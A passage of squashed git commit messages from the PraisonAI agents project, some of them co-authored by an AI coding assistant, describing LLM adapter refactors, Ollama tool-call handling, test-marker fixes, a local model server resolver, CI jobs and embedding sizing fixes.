recover_tool_calls_from_text) each have an exact inline duplicate in llm.py and
are wired in a follow-up rather than deleted.
One test exercised a deleted surface and is removed with it:
test_adapter_registry.py::test_gemini_adapter_formats_internal_tools. A repo-wide
scan found two other name matches, both unrelated and untouched:
OpenAIClient.format_tools, and the module-level get_streaming_adapter in
streaming_protocol.py imported directly by test_architectural_fixes.py. That
distinction is precisely why the ratchet matches on the receiver rather than the
bare method name.
Nothing in praisonaiagents.llm.adapters is re-exported from praisonaiagents or
praisonaiagents.llm, and none of these names appears in docs, so this is not a
public-surface removal in practice. add_provider_adapter is deliberately KEPT
despite also having zero callers: it is the one name a third party would
plausibly have found, and making it reachable is a change to _detect_provider,
which belongs to a different work order.
Verified: 257 unit tests pass, adapter registry 37/37 (was 38, minus the removed
test), and an end-to-end call through ollama/qwen3:0.6b still answers. The two
failures in test_architectural_fixes.py reproduce identically with this change
stashed.
Co-Authored-By: Claude Opus 5 <[email protected]>
* refactor(llm): one tool-result formatter instead of five that disagreed
llm.py carried FIVE inline copies of the tool-result message formatter, and they
had drifted into three different behaviours:
copy error sentence list-error json.dumps guarded
2950 "...inform the user." yes no
3769 "...could not be completed" yes no
4990 "...inform the user." NO no
5274 "...could not be completed" yes no
6789 "...could not be completed" yes YES
So the same tool returning the same value produced a different message depending
on which internal branch happened to handle it. Two consequences were real bugs
rather than cosmetic drift:
- On one async branch a tool returning [{"error": "..."}] was JSON-dumped as
ordinary data, so a failure was handed to the model as if it had succeeded.
- On four of the five paths a tool returning a set, a datetime or any custom
object raised TypeError out of json.dumps and killed the whole turn. Only the
streaming path guarded it.
DefaultAdapter.format_tool_result_message already declared exactly this job and
had zero consumers -- its default body was unreachable, because the only call
site was reached through the Ollama-guarded wrapper. That made it safe to give
it the union body and then route everything through it.
All five call sites now go through _create_tool_message, which delegates to the
provider adapter. The Ollama override is untouched: its natural-language
role:"user" shape is the one genuine divergence and remains the adapter's job.
Behaviour changes, all in the safer direction and all deliberate:
- the async secondary path now reports a list-of-errors result as an error
- two paths now use the fuller error sentence the other three already used
- no path raises on a non-serializable tool result
Tests: 16 in src/praisonai/tests/unit/llm/test_tool_result_message_parity.py,
9 of which fail before this change. The adapter ratchet's KNOWN_DEAD is unchanged
because format_tool_result_message already had a call site; what changed is that
its default body is now reachable.
Verified: 273 unit tests pass, and a live tool call through ollama/qwen3:0.6b
still round-trips -- add(17, 25) invoked, 42 in the answer. The 27 failures in
the wider tool suites reproduce identically with this change stashed.
Co-Authored-By: Claude Opus 5 <[email protected]>
* refactor(llm): dispatch the empty-turn compensation through the adapter
Ollama often returns an empty assistant turn after a successful tool call. The
guard for that was an inline predicate duplicated in the sync and async paths and
gated on _is_ollama_provider(); OllamaAdapter declared the identical predicate
and had no caller. Both call sites now dispatch to the adapter.
Swapping an explicit _is_ollama_provider() gate for adapter dispatch is only
behaviour-preserving if the two agree on every input, so that equivalence is now
a test rather than an assumption: 12 model/base_url combinations assert
isinstance(adapter, OllamaAdapter) == _is_ollama_provider(). All 12 agree today.
If they ever diverge, this compensation would silently start applying to a
provider that never asked for it, or stop applying to one that needs it.
CORRECTION to the recorded baseline in docs/local-model-layer/06-adapter-revival.md.
That document records the sync path returning '{\n\n\n}' with 1 tool call. That
does not reproduce. Measured on origin/main, twice, temperature=0:
sync calls=2 'Paris: 21C sunny. Paris: 21C sunny.'
async calls=1 'Paris: 21C sunny'
stream calls=10 ''
The headline finding stands and is stable across trials: the three response paths
disagree, and the stream path is broken -- it invokes the tool ten times for a
one-tool question and yields nothing. The specific '{\n\n\n}' sample was not
reproducible and should not be cited.
This branch produces output byte-identical to origin/main on all three paths, so
06.1 through 06.4 are provably refactor-only. The sync path's duplicate tool call
and doubled answer, and the stream path's failure, are pre-existing and belong to
the follow-up orders that change behaviour deliberately.
KNOWN_DEAD in the adapter ratchet drops to one entry.
Tests: 20 in src/praisonai/tests/unit/llm/test_empty_response_compensation.py,
including a guard that the inline predicate is gone and that the adapter
predicate appears on both paths. 293 unit tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
* refactor(llm): recover text-emitted tool calls through the adapter
Small local models often answer with the tool call as JSON text instead of using
the tool-call field. llm.py carried 33 inline lines to recover that, and
OllamaAdapter.recover_tool_calls_from_text carried 30 lines doing the same job
with no caller -- the flagship duplicate of the whole adapter problem, and the
last dead method.
33 inline lines become 8, and the gate stops being a hardcoded
_is_ollama_provider() check: which providers emit tool calls as text is the
adapter's business. DefaultAdapter, AnthropicAdapter and GeminiAdapter all
inherit a None return, so no other provider can enter the branch.
The two implementations were not byte-identical, so each difference is asserted
rather than assumed inert:
- id format: inline used f"tool_{iteration}", the adapter uses a name-and-hash
form. Inert for Ollama, whose assistant turn omits tool_calls entirely and
whose tool reply is role:"user" with no tool_call_id, so the id never reaches
the model.
- empty result: inline returned [] for a list with no "name" entries, the
adapter returns None. Every consumer tests falsiness, including the new
`if recovered:`.
- exceptions: the adapter also catches TypeError, so it can only stop a failure,
never cause one. A non-string input now returns None instead of raising.
- logging: two distinct debug messages collapse to one at the call site, so the
"recovery happened" signal survives but the single-vs-multiple distinction is
lost.
The subtle one is that the inline list branch assigned `tool_calls = []` before
the XML recovery block re-checked `if not tool_calls`. The replacement never
assigns a falsy value, so the XML path stays reachable; a test pins it.
KNOWN_DEAD is now empty: every DefaultAdapter method has a live call site.
Eleven were dead when the ratchet was added -- nine deleted as speculative API,
two wired in. The allowlist mechanism is kept rather than removed so a future
addition has a reviewable place to be justified.
Tests: 18 in src/praisonai/tests/unit/llm/test_text_tool_call_recovery.py,
including the assertion that matters most -- that DefaultAdapter, Anthropic and
Gemini never recover a tool call from text, so an over-eager wiring cannot start
parsing any JSON-shaped assistant message as a tool call.
Verified byte-identical to origin/main on all three response paths, twice.
311 unit tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(llm): filter Ollama tool arguments on the stream path too
_validate_and_filter_ollama_arguments drops arguments that do not appear in the
target function's signature. Weak local models routinely emit arguments belonging
to a different function, and dispatching those calls the user's tool with
parameters it never declared.
It was applied on the sync and async paths and absent from BOTH of the stream
path's dispatch points, so a streaming agent got no protection at all.
Porting it there is safe because it runs before execute_tool_fn: nothing has been
yielded that would need retracting. That is exactly what separates it from the
repair-and-retry compensations, which genuinely cannot work while streaming --
once a content delta has been yielded to the caller's for-loop it cannot be
un-yielded. This is the one A2 gap that belongs in a refactor-only order rather
than a behaviour-changing follow-up.
Guarded by `if is_ollama and tools`, so it is a no-op for every other provider;
a test pins that guard rather than trusting the surrounding code.
All three response paths now apply the filter, which a parametrized test asserts
directly. Behaviour on this machine is unchanged across all three paths,
including the stream path's pre-existing failure -- it still invokes the tool ten
times and yields nothing. That is deliberate: fixing it changes the stream
contract and belongs to its own order.
Tests: 10 in src/praisonai/tests/unit/llm/test_stream_ollama_argument_filtering.py,
including that the filter runs before dispatch and that an argument belonging to
another function is dropped while valid ones survive. 321 unit tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(llm): drop stray artifact and refresh stale adapter protocol example
Remove accidentally committed .praisonai_tool_output artifact and update
the LLMProviderAdapterProtocol docstring example, which still referenced
the removed format_tools/post_tool_iteration hooks, to show live hooks.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: stop silent read-drop in _call_store; make agents_generator lazy (fixes#4820)
Gap 1: PraisonAIDB._call_store fire-and-forgot every store op inside a
running loop and returned None — including reads (get_session/get_messages),
so a resumed session silently looked empty and dropped prior turns. Split
by op kind: writes keep the idempotent fire-and-forget path; reads route
through run_sync_or_offload so they return the real value on a sync path and
fail loudly (steering to aon_* hooks) inside a running loop instead of
corrupting history with a silent None.
Gap 2: agents_generator.py eagerly imported .framework_adapters.base and
.registry at module load, pulling the heavy praisonaiagents.frameworks.*
tree on every CLI command and praisonai.run call — defeating the wrapper's
own lazy-import contract. Moved those imports under TYPE_CHECKING; runtime
access already goes through the existing lazy _get_default_adapter_registry().
Gap 3 (orchestrator hook parity) intentionally not implemented: the extra
run/trace/span hooks have no live consumer and adding thin forwarders +
reworking on_message role dispatch would expand surface area for its own
sake, against the lightweight-and-powerful mandate.
Co-authored-by: MervinPraison <[email protected]>
* fix: treat state get as a read op so completion hooks don't clobber records
Greptile P1: on_run_end/on_trace_end/on_span_end do a get-then-set
read-modify-write on the state store. With `get` absent from _READ_OPS, a
sync completion hook reached from inside a running loop fire-and-forgot the
`get`, returned None, and the subsequent `set` overwrote the persisted record
with a partial dict (losing run_id/started_at/input_content/spans/events).
Add `get` to _READ_OPS so it fails loudly (steering to aon_* hooks) instead of
silently corrupting state. Adds a regression test.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Co-authored-by: Mervin Praison <[email protected]>
* fix: track streamed token usage and bound hierarchical delegation (fixes#4818)
- llm: capture usage from Responses API streaming (sync+async) via the
response.completed event and call _track_token_usage so streamed calls
no longer report zero cost/tokens.
- openai_client: read the trailing usage-only chunk (empty choices) in
process_stream_chunks so native streaming records real prompt/completion
tokens instead of zeros.
- process: add a max_iter ceiling and a per-task failed-reselection cap to
hierarchical()/ahierarchical() so a permanently-failed task can no longer
be re-delegated forever.
- memory/search: harden SearchMixin to auto-derive a user_id metadata filter
(defense-in-depth), matching the enforcement the Memory class already applies.
Co-authored-by: MervinPraison <[email protected]>
* fix: always request streaming usage, make user_id authoritative, and mark bounded hierarchical exits as failed
Addresses reviewer feedback on PR #4819:
- openai_client: request stream_options include_usage for every streamed
Chat Completions call (not only when stream events are emitted) so token
tracking is non-zero for ordinary streams; respect caller-supplied
stream_options.
- memory/search: explicit user_id now overrides a conflicting
metadata_filter["user_id"] (mirrors Memory._build_metadata_filter),
closing a cross-tenant scoping gap for direct SearchMixin use.
- process: hierarchical()/ahierarchical() no longer report full completion
on a bounded early exit; the manager task is marked failed with a warning
when completed_count < total_tasks.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Probe an ordered list of well-known local OpenAI-compatible runtimes
(Ollama :11434, LM Studio :1234, vLLM :8000, Jan :1337, llama.cpp :8080)
on the keyless first-run path. First reachable wins and probing short-
circuits. OPENAI_BASE_URL/OLLAMA_HOST still take precedence, and a new
PRAISONAI_LOCAL_ENDPOINTS env var overrides (or disables) the list.
Co-authored-by: MervinPraison <[email protected]>
Remove the PostInstallCommand/cmdclass override and neuter the legacy
post-install/build hooks so `pip install praisonai` has no network
side-effects. Playwright browsers were force-downloaded (all engines) on
install, breaking offline/air-gapped/CI/sandboxed environments. Browser
provisioning stays on-demand via the existing `playwright install chromium`
hints; `praisonai[browser]`/`praisonai[all]` remain unchanged.
Co-authored-by: MervinPraison <[email protected]>
* fix: port beside-copy conformance probe to adapters, stop in-place contract edits (fixes#4813)
The adapters assertion-ledger probe hollowed each *-contract.ts in place and
restored it in a finally. That is one new importer away from the concurrent
race that turned CI red in #4792: node --test runs test files in separate
processes, and a sibling importing a contract inside the write/restore window
loads it with an assertion spliced out while its own ledger expects the full
count.
Port the engines fix: write the hollowed contract beside the original under a
pid-tagged name, copy the fixture with its one import of that contract
repointed, and remove both in a finally. The real file is never written, and
that is now asserted, so reverting to in-place writing fails here rather than
in a sibling suite.
Co-authored-by: MervinPraison <[email protected]>
* fix: ignore adapter conformance ledger probe copies (fixes#4813 review)
The engine .gitignore rule only covered engines/src/*.probe-*.ts. The adapter
ledger probe writes hollowed contract/fixture copies beside the original under
adapters/src/conformance/*.probe-*.ts, so an interrupted run could leave a
hollowed contract as a committable untracked source file. Extend the ignore
rule to cover the adapter probes.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(tests): mark provider tests per test function, not per file
The gating plugin detected provider keywords by scanning the WHOLE file, then
implied `network` from any provider marker. One `ollama` reference therefore
gated every test in its file, and every CI job filters `-m "... not network ...
not provider_ollama ..."`.
tests/integration/test_base_url_api_base_fix.py - 7 tests, fully mocked, zero
network - was 100% invisible to CI:
collected 7 items / 7 deselected / 0 selected
Only one of the seven mentions Ollama. Removing `not provider_ollama` from the
workflows fixes nothing: `not network` deselects all seven on its own, because
the file also matches provider_openai. That is why no workflow YAML is touched
here - the `-m` expressions were never the bug.
Two knock-on effects, both measured:
- `-m provider_ollama` selected 32 tests across 5 files; only 7 were Ollama
tests. There was no usable selector for a local-model CI job.
- 4 of the 7 tests FAILED when actually executed, and none inspected the
litellm.completion kwargs - so the file would have passed even if base_url
were silently dropped, which is the exact bug it was written for (#467).
Changes:
- `_detect_providers_in_file` keeps its whole-file behaviour and is now
responsible only for the `network` marker. Provider markers come from a new
AST-based `_detect_providers_for_item`, which scans a test's own source
segment plus its decorators. Unparseable files fall back to whole-file, so a
parse failure over-marks rather than under-marks.
- New `@pytest.mark.offline` opt-out for fully-mocked modules; it turns off
provider AND network auto-marking for that test. Registered in both pytest.ini
files and in conftest.
- test_base_url_api_base_fix.py declares `pytestmark = pytest.mark.offline`, the
4 broken tests are repaired (the tool-calling loop needs an object with
.choices, not a dict), and every one now asserts on
mock_completion.call_args.kwargs so it actually guards base_url.
- Meta-tests in tests/unit/cli/test_test_command.py pin per-test granularity so
this cannot regress.
Keeping `network` whole-file derived is deliberate and load-bearing: it makes
the granularity change provably selection-neutral. Letting it narrow too would
newly select 48 tests, 25 with no skipif, in a suite where network_guard.py
disables itself for everything under /integration/.
Selection impact, measured on tests/integration/ with the CI marker expression:
collected 290 -> 290
selected 187 -> 194
deselected 103 -> 96
The 7 that change are exactly the 7 in test_base_url_api_base_fix.py, all
deselected -> selected, and all pass offline with OPENAI_API_KEY,
ANTHROPIC_API_KEY and OLLAMA_HOST unset and no Ollama running. Nothing else
moves in either direction.
`-m provider_ollama` now selects 10 tests instead of 32, 7 of them the real
Ollama live suite.
The 27 remaining failures in the integration shard (bot_protocol, aiui_host,
websocket, doctor_cli) reproduce identically with this change stashed - 26 of
26 on the same four files - and are pre-existing local environment gaps.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(tests): union module-scope providers so live tests keep provider markers
Per-test AST detection dropped provider markers from live tests whose
provider identity is supplied by a shared fixture or module-level config
(e.g. every test in test_rag_live.py), silently removing them from
positive selectors like -m "provider_openai or real". Module-scope
keywords are shared by every test in a file, so union them into each
test's set while still keeping one test body from leaking into a sibling.
Adds regression tests for both directions.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(docs,agent): make the local-model recipe work, and say so when it cannot
The README told users to run `export OPENAI_BASE_URL=http://localhost:11434/v1`
and nothing else. That never worked: with no model named, the agent keeps
OpenAI's default and sends it to Ollama.
404 - {'error': {'message': "model 'gpt-4o-mini' not found", ...}}
which reads like a bug in the SDK rather than a missing line in the user's
config.
Measured, the three forms behaved like this:
OPENAI_BASE_URL only -> 404, model 'gpt-4o-mini' not found
OPENAI_BASE_URL + bare model name -> answers, but on the OpenAIClient
path: no provider adapter, no
tool-call repair
llm="ollama/llama3.2" -> answers, with OllamaAdapter
So the README documented the one form that cannot work, while the form that
does was undocumented.
The README now leads with `llm="ollama/llama3.2"`, explains that the prefix is
what selects Ollama's tool-call repair and message handling, gives the
OPENAI_MODEL_NAME equivalent, states plainly that OPENAI_BASE_URL alone is not
enough and quotes the 404 it produces, and covers base_url/OLLAMA_HOST for a
remote host plus the lm_studio/ and vllm/ prefixes. The documented recipe was
executed against a live Ollama before being written down.
Alongside it, a one-time warning when a non-OpenAI endpoint is configured and
no model is named, turning that 404 into an actionable message that points at
OPENAI_MODEL_NAME.
Deliberately a warning and not an error, and deliberately no routing change: an
OpenAI-compatible proxy (LiteLLM, vLLM's OpenAI server) may legitimately serve
`gpt-4o-mini` under that exact name, and the repo's own integration tests cover
that case. One of the eight new tests asserts the routing is untouched.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(agent): scope local-endpoint warning to the real OpenAI default
Two correctness fixes to the no-model-named diagnostic on PR #4799,
both raised in review:
- Only warn when the resolved default is actually gpt-4o-mini. A provider
credential such as OLLAMA_HOST resolves ollama/llama3.2 already, so the
old predicate wrongly called that "the OpenAI default" and told users
their endpoint would not serve it.
- Read OPENAI_API_BASE before OPENAI_BASE_URL, matching the order the
OpenAI client uses, so the message names the endpoint the request goes to.
Also take the existing _env_cache_lock around the once-per-process flag so
concurrent construction cannot emit duplicate warnings. Two guard tests added.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: make the auxiliary-model fallback configurable everywhere, not just half of it
CORRECTION to the reachability analysis in docs/local-model-layer/00-ground-truth.md.
That document says nine modules "structurally cannot be pointed at a local server"
because they contain no api_base or base_url parameter, and concludes that running
fully locally is "unachievable, not merely unconfigured". The parameter gap is
real, but the conclusion is wrong. Measured: litellm.completion AND the openai SDK
both honour OPENAI_BASE_URL from the environment, so those call sites do reach a
local server.
They then ask it for a model called "gpt-4o-mini", which no local server serves.
That is the actual obstacle.
And it was only half-configurable. Roughly a dozen sites resolved their small
helper model as os.getenv("OPENAI_MODEL_NAME", "gpt-4o-mini"); roughly twenty
more hardcoded the same string. Same value, same purpose, but only half could be
pointed anywhere else - so memory quality scoring, context compaction, session
titling, workflow routing and the lite helpers all silently asked a local server
for an OpenAI model.
Adds default_auxiliary_model() to llm/model_providers.py - the module already
documented as the single source of truth for provider inference - and routes
eight modules through it. Precedence: explicit argument, then
PRAISONAI_AUXILIARY_MODEL, then OPENAI_MODEL_NAME, then the unchanged
"gpt-4o-mini" default.
PRAISONAI_AUXILIARY_MODEL exists because a local setup usually wants a *smaller*
model for internal helper calls than for the agent itself. Pointing
OPENAI_MODEL_NAME at a 70B local model should not make every internal
summarisation call use it.
Also replaces the bare `OpenAI()` in memory quality scoring. It happens to work
when OPENAI_BASE_URL is exported, but it silently ignores a base_url supplied
through config - which is the shape the rest of the memory layer uses.
Modules routed: memory/memory.py, memory/learn/manager.py, context/compressor.py,
context/optimizer.py, workflows/workflows.py, lite/__init__.py, task/task.py,
session/title.py.
Deliberately NOT routed: cost tables (utils/cost_utils.py, llm/_cost.py) where
the name selects a price rather than a model, docstring examples, and public
dataclass field defaults, which are API surface rather than internal fallbacks.
Tests: 15 in src/praisonai/tests/unit/llm/test_auxiliary_model_default.py,
9 of which fail before this change. They include the unchanged default when
nothing is set, a subprocess check that resolving a model name pulls in no heavy
dependency, and a per-module assertion that each call site now uses the helper.
Verified: every touched module still imports, 384 unit tests pass, and the 28
failures in the wider memory/context/workflow suites reproduce identically with
this change stashed.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix: read memory quality-scoring base_url from self.cfg and resolve title default at call time
- memory.py: the OpenAI fallback read a nonexistent self.config attribute, so a
base_url supplied through Memory config was always ignored. Read from self.cfg
(top-level or nested config), matching where Memory actually stores config.
- session/title.py: _DEFAULT_SMALL_MODEL was bound at import time, so
PRAISONAI_AUXILIARY_MODEL / OPENAI_MODEL_NAME set after import had no effect.
Resolve the default inside _resolve_small_model at call time.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat(local): resolve a running local model server, and wire Agent(llm="local")
Every local runtime worth supporting already speaks OpenAI over HTTP, and litellm
already owns that transport. So this is not a transport and not a client. It
answers three questions and returns the answers as frozen data: what is running
here, what can that model do, and what will it silently get wrong.
from praisonaiagents import Agent
agent = Agent(instructions="...", llm="local") # no URL, no model, no key
Verified end-to-end against a live Ollama 0.33.2: discovers the server, selects
qwen3:0.6b, selects OllamaAdapter, and answers.
Two properties are load-bearing and are enforced by tests, not convention.
1. It is a dependency sink. Every module imports only the standard library and
its siblings - nothing from praisonaiagents, no third-party distribution. An
AST pass over 595 files found 26 mutually-importing subpackage pairs, and
llm/ already imports upward into agent/, so a helper placed there could not
be adopted by memory/ or eval/ without deepening that knot. A leaf can be
called from anywhere. test_import_boundary.py checks this seven ways,
including loading the package by file path with no parent __init__ executed.
That is also why the HTTP client is urllib.request rather than httpx. httpx
is present, but only as an undeclared transitive dependency of openai; a
package whose whole point is that anything can import it must not rest on
that. A full resolve issues at most four loopback requests and then caches.
2. It produces data, never behaviour. Frozen, hashable dataclasses out. No chat
call, no retry, no request mutation, no process spawning, no disk writes -
also asserted. Compensating behaviour stays in llm/adapters/.
Identity is never inferred from a port. 8080 is claimed by llama-server, mlx_lm,
llamafile, LocalAI and RamaLama; 8000 by vLLM and transformers serve. A probe
matches only when every rule holds, and ABSENT rules exist to separate
co-tenants: llama.cpp answers /props, mlx_lm does not; vLLM answers /version,
transformers serve does not. Both collisions have tests.
Resolution precedence: spec > PRAISONAI_LOCAL_BASE_URL > OLLAMA_HOST >
OPENAI_BASE_URL/OPENAI_API_BASE (only when the host is local) > probe scan. The
first three are authoritative - if one names a server that does not answer this
raises rather than quietly using a different one, which is the failure mode the
package exists to prevent. OLLAMA_HOST's own asymmetry is handled and explained
in the error text: a bare host means port 11434, but an explicit http:// with no
port means port 80.
Three things testing found that reasoning had not:
- Model selection first picked all-minilm, an embedding-only model, to chat
with, because it sorted first alphabetically. Selection now ranks embedding-
only models last and tools-capable models first, then by recency. On this
machine that correctly prefers qwen3:0.6b over three *newer* embedders.
- The SLOC ceiling test caught target.py at 424 lines against a 200 budget - it
was holding the value type, six exception classes, parsing, capability
fetching, caching and resolution. Split into errors.py / target.py (pure) /
resolve.py (precedence and cache). The split then orphaned three symbols,
each caught by a test rather than by review.
- A base_url that came from an environment variable was being recorded with
Evidence.SERVER. The probe only proves a server answered; provenance is the
point of that field, so it now records ENV.
Agent(llm="local") is the live consumer, and discovery is strictly opt-in: a
test asserts that gpt-4o, ollama/llama3.2 and anthropic/... trigger zero probes.
Importing praisonaiagents does not import local/ at all, and import time is
unchanged at 0.04s.
53 tests, all offline. An autouse fixture makes any real socket construction in
that directory a hard failure, so a forgotten transport injection cannot silently
hit a developer's own Ollama.
manage.py (remedy data) and embed.py (embedding targets) are specified in
docs/local-model-layer/07-local-package-spec.md and deliberately not implemented
here - this PR ships the resolver and its one consumer.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(local): validate model at resolution, never yield a model-less target
Two resolution paths deferred an invalid model to the first completion:
- An explicit spec/env model (e.g. local:ollama/does-not-exist) skipped
availability validation, so an unknown id reached the server unchecked.
- A reachable server listing no usable model produced a model-less target;
Agent then substituted its own default (e.g. gpt-4o-mini) and sent it to
the local endpoint.
Both now fail at resolution via a single _require_model chokepoint in
_finish, raising ModelNotAvailableError / NoLocalEngineError with the
available alternatives -- the silent-wrong-server failure this package
exists to prevent. Adds two offline tests and adjusts the SLOC ceilings
to the new measured reality.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* test(llm): ratchet that fails when an adapter method has no call site
DefaultAdapter declares 17 methods. Eleven have zero call sites anywhere in
praisonaiagents, while llm/llm.py carries 145 lines of hand-written Ollama
dispatch doing some of the same jobs. Nothing failed, because nothing checked.
An adapter method that nothing calls is worse than a missing extension point:
someone adding a provider implements it in good faith and their code is never
reached.
Adds an AST-based reachability check with a KNOWN_DEAD allowlist seeded with
exactly the eleven names measured today, each carrying its disposition. The set
may only ever shrink; a later change that wires or deletes a method removes its
name in the same commit.
Three guards, not one, because a bare allowlist rots:
- every method has a call site or an entry in KNOWN_DEAD
- KNOWN_DEAD may not name a method that has since become live (otherwise the
allowlist silently becomes permanent and the next dead method is never seen)
- KNOWN_DEAD may not name a method that no longer exists (otherwise a stale
entry pre-authorises a future method that reuses the name)
Call detection is receiver-aware: it counts a name only when invoked on
_provider_adapter / adapter / provider_adapter. Matching on the bare method name
gives a false negative for format_tools, which OpenAIClient also defines.
Each of the three guards was verified to fail by mutating the allowlist:
dropping a dead name, claiming a live method is dead, and naming a method that
does not exist. A ratchet that has not been seen to fail is not a ratchet.
Test-only. No source changes. Placed in src/praisonai/tests/ because no CI
workflow collects src/praisonai-agents/tests/, where it would never run.
Known limits, stated in the file: it cannot detect an unreachable call site
(should_skip_streaming_with_tools is the proof -- a caller would have satisfied
it while the branch stayed dead), and one call site satisfies it, so it does not
detect a compensation present in one response path and missing from the other
two.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(test): count get_provider_adapter(...).foo() as an adapter call site
The file documented get_provider_adapter(p).foo() as a recognised form, but
the returned receiver name (get_provider_adapter) was absent from
ADAPTER_RECEIVERS, so a method wired through the factory-result-direct-call
form would be reported dead -- a false negative that could block a valid
change. Map the factory result to a dedicated marker and accept it, while
still rejecting unrelated factories.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* ci: add nightly live-Ollama job exercising a real local model
Six providers have a live CI job (openai, anthropic, google, groq, grok_xai,
cohere). Local models had none, and no job has ever started a model server, so
nothing has verified that a locally-served model can complete a tool call
through praisonaiagents.
A suite for this already existed - tests/integration/test_ollama_tool_calling_live.py,
7 tests, gated on PRAISONAI_TEST_OLLAMA - but it has never run anywhere and is
broken against main. All 7 tests pass verbose=True to Agent(), and two pass
force_tool_usage= / max_tool_repairs=; all three now raise TypeError, so every
test errored on construction.
Repairs: verbose=True removed, force_tool_usage and max_tool_repairs moved into
the llm dict (the form that works), and the hard-coded olmo-3 replaced by
PRAISONAI_OLLAMA_TEST_MODEL with olmo-3 as the default so local developer
workflow is unchanged.
New TestOllamaCIMinimum::test_tool_call_round_trips asserts both halves of the
round trip: that our Python function was invoked with (17, 25), and that 42 came
back in the answer. The first half is the one that matters - qwen3:0.6b answers
"17 + 25 = 42" correctly with tools=[] (measured), so an answer-only assertion
is satisfied by a model that ignores tools entirely.
New nightly extended-ollama job. Same `if:` condition as the other extended-*
jobs, so it never runs on a pull request.
Two departures from the sibling jobs, both deliberate:
- The required step has no "|| echo" fallback. Those jobs depend on a secret
that may be rotated away; this one needs no secret and controls its own
server, so a failure is a real regression. Exploratory tests run in a second,
informational step that keeps the sibling style.
- Install is the official script with OLLAMA_VERSION pinned (which it honours),
not a direct release asset. Since v0.33 the linux bundle ships as a 1.4 GB
.tar.zst with GPU runtimes included; the installer already handles the
zst/tgz split across versions, and pinning keeps the job reproducible.
Model choice measured through praisonaiagents.Agent against a real server:
default configuration 3/4, force_tool_usage + temperature=0 6/6, multi-step
arithmetic 0/2 (one hung past 90s). Hence a narrow required step. Running the
full suite locally now gives 7 passed, 1 failed - the failure being that same
multi-step test, which is why it sits in the informational step.
Model blobs cached on the model tag with no restore-keys: a partial hit from a
different model would silently test something other than OLLAMA_TEST_MODEL.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(tests): make required Ollama gate fail (not skip) when server is down
When PRAISONAI_TEST_OLLAMA=1 the caller owns the server (CI starts it),
so an unreachable Ollama is a real regression: pytest.fail instead of
pytest.skip so the required CI step cannot pass silently. Local runs with
the env var unset still skip gracefully. Also resolve the model name in the
manual-run recovery print instead of echoing a literal env var.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(embedding,memory): size local embedders correctly and let them be configured
Two defects that combined to make "run everything locally" quietly wrong for
memory and knowledge.
1. get_dimensions() knew no locally-served embedder, so every one of them
inherited DEFAULT_DIMENSION - 1536, OpenAI's. Measured by embedding a probe
string through a live Ollama 0.33.2 and counting the returned vector,
cross-checked against <family>.embedding_length from /api/show:
nomic-embed-text real 768 -> sized 1536 (2x)
all-minilm real 384 -> sized 1536 (4x)
mxbai-embed-large real 1024 -> sized 1536
A vector index built at 1536 cannot hold a 768-dimension vector, and nothing
warned.
`all-minilm` is the sharpest case: the table already carried
"all-MiniLM-L6-v2": 384, but the substring lookup only ever asks whether a
table key appears in the user's model name. Ollama's own tag is the shorter
`all-minilm`, so the longer key was never found and a model the table already
knew about was mis-sized anyway.
Lookup now also normalises the form local runtimes actually produce -
"ollama/nomic-embed-text:v1.5" - by stripping the litellm provider prefix and
the version tag before matching.
2. MongoDBMemoryAdapter._get_embedding hardcoded "text-embedding-3-small" and
its __init__ stored nothing about embeddings, so there was no configuration
path at all. An agent configured entirely against a local runtime still
embedded against OpenAI. The model is now resolved once at construction from
`embedding_model` (kwarg or config) or the `embedder` block already used
elsewhere in the memory layer, and the OpenAI default is unchanged when
